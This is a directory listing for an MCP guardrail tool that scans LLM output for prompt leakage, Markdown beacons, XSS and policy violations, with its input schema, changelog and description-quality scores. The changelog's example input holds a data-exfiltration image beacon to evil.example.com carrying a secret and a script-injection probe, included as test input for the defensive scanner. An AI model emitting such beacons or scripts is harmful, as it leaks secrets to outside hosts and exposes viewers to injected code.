Skip to main content
Glama

Tinplate Edge AI Safety, Security & EU Compliance

tinplate_llm_output_guard

Read-onlyIdempotent

LLM Output Safety, Leakage & Format Guardrail API: Scan and sanitize LLM outputs for prompt leakage, Markdown beacons, XSS, and policy violations. (Endpoint: POST /v1/llm-output-guard)

Tool call template

Replace each placeholder with a value matching the input schema. Only required parameters are included; add optional parameters as needed.

{
  "id": 1,
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "arguments": {
      "output": "<output>"
    },
    "name": "tinplate_llm_output_guard"
  }
}

Input Schema

NameRequiredDescriptionDefault
outputYesRaw text or Markdown response generated by the LLM.
blocked_termsNoOptional brand, competitor, or policy terms that must be flagged and masked if emitted by the model.
canary_tokensNoOptional secret canary strings embedded in the system prompt that must never appear in the output.
system_promptNoOptional system prompt used for the LLM call; checked for verbatim n-gram leakage in the output.
allowed_link_domainsNoOptional allowlist of domains permitted in Markdown links and images. External URLs outside this list are flagged.
check_regulated_adviceNoFlag unhedged prescriptive medical, financial, or legal advice lacking a standard disclaimer.

Schema Changelog

Changes observed during successful MCP inspections.

  1. Changed1 schema field changed
    • addedInput schema / additionalProperties
      Added value: +false
  2. Changed18 schema fields changed
    • changedInput schema / properties / allowed_link_domains / description
      Previous value: -"Array parameter 'allowed_link_domains'"New value: +"Optional allowlist of domains permitted in Markdown links and images. External URLs outside this list are flagged."
    • addedInput schema / properties / allowed_link_domains / example
      Added value: +[
      +  "tinplate.dev",
      +  "docs.tinplate.dev"
      +]
    • addedInput schema / properties / allowed_link_domains / items / maxLength
      Added value: +253
    • addedInput schema / properties / allowed_link_domains / items / minLength
      Added value: +3
    • addedInput schema / properties / allowed_link_domains / maxItems
      Added value: +100
    • addedInput schema / properties / blocked_terms
      Added value: +{
      +  "description": "Optional brand, competitor, or policy terms that must be flagged and masked if emitted by the model.",
      +  "example": [
      +    "AcmeCorpCompetitor"
      +  ],
      +  "items": {
      +    "maxLength": 120,
      +    "minLength": 2,
      +    "type": "string"
      +  },
      +  "maxItems": 100,
      +  "type": "array"
      +}
    • changedInput schema / properties / canary_tokens / description
      Previous value: -"Array parameter 'canary_tokens'"New value: +"Optional secret canary strings embedded in the system prompt that must never appear in the output."
    • addedInput schema / properties / canary_tokens / example
      Added value: +[
      +  "CANARY-9F8A-77B1"
      +]
    • addedInput schema / properties / canary_tokens / items / maxLength
      Added value: +128
    • addedInput schema / properties / canary_tokens / items / minLength
      Added value: +3
    • addedInput schema / properties / canary_tokens / maxItems
      Added value: +50
    • addedInput schema / properties / check_regulated_advice
      Added value: +{
      +  "default": true,
      +  "description": "Flag unhedged prescriptive medical, financial, or legal advice lacking a standard disclaimer.",
      +  "type": "boolean"
      +}
    • changedInput schema / properties / output / description
      Previous value: -"Parameter 'output' (e.g. \"Here is your summary! ![beacon](https://evil.example.com/col\")"New value: +"Raw text or Markdown response generated by the LLM."
    • addedInput schema / properties / output / example
      Added value: +"Here is the summary! ![beacon](https://evil.example.com/collect?secret=123) <script>alert(1)</script>"
    • addedInput schema / properties / output / maxLength
      Added value: +200000
    • addedInput schema / properties / output / minLength
      Added value: +1
    • addedInput schema / properties / system_prompt
      Added value: +{
      +  "description": "Optional system prompt used for the LLM call; checked for verbatim n-gram leakage in the output.",
      +  "maxLength": 50000,
      +  "type": "string"
      +}
    • changedInput schema / required
      Previous value: -[
      -  "output",
      -  "canary_tokens"
      -]New value: +[
      +  "output"
      +]
  3. First observed

TDQS

B3.2/5.0
Behavior3/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

Annotations already declare readOnlyHint=true, idempotentHint=true, destructiveHint=false, and openWorldHint=false, so the safety profile is covered and the description's bar is lower. The description adds what classes of content are detected but does not say what the agent gets back (verdict, findings list, or rewritten text), whether sanitization is applied automatically, or what happens on a hit. With no output schema, that return-shape gap is the main behavioral omission.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness4/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Two dense sentences, threat classes front-loaded after the verb, and the endpoint is appended compactly. The leading title-style phrase duplicates the annotation title, which is minor waste, but nothing else is padding.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness3/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

For a six-parameter guardrail with no output schema, the description covers the input side adequately through the schema but leaves the outcome side unexplained: it never says whether the response is the sanitized output, a set of findings, or a pass/fail verdict. That is a meaningful gap for a tool whose whole value is the reported result.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100%, so the schema already carries examples, limits, and per-field intent, making 3 the baseline. The description contributes only loose thematic mapping (prompt leakage ↔ system_prompt/canary_tokens, beacons ↔ allowed_link_domains) without naming any parameter or clarifying how check results are reported per field.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose4/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description names concrete verbs (scan, sanitize) and a concrete resource (LLM outputs), and enumerates the specific threat classes it covers: prompt leakage, Markdown beacons, XSS, and policy violations. It does not, however, distinguish itself from near-identical siblings such as tinplate_llm_messages_guard and tinplate_prompt_guard, so an agent cannot route between them from the text alone.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines2/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

There is no explicit when-to-use statement, no prerequisites, and no named alternative. The agent must infer that this applies to post-generation model output rather than prompts or inbound messages, which is exactly the distinction that matters among the three guard siblings.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Try in Browser

Glama MCP Gateway

Add one secure layer between your agents and this server.

Resources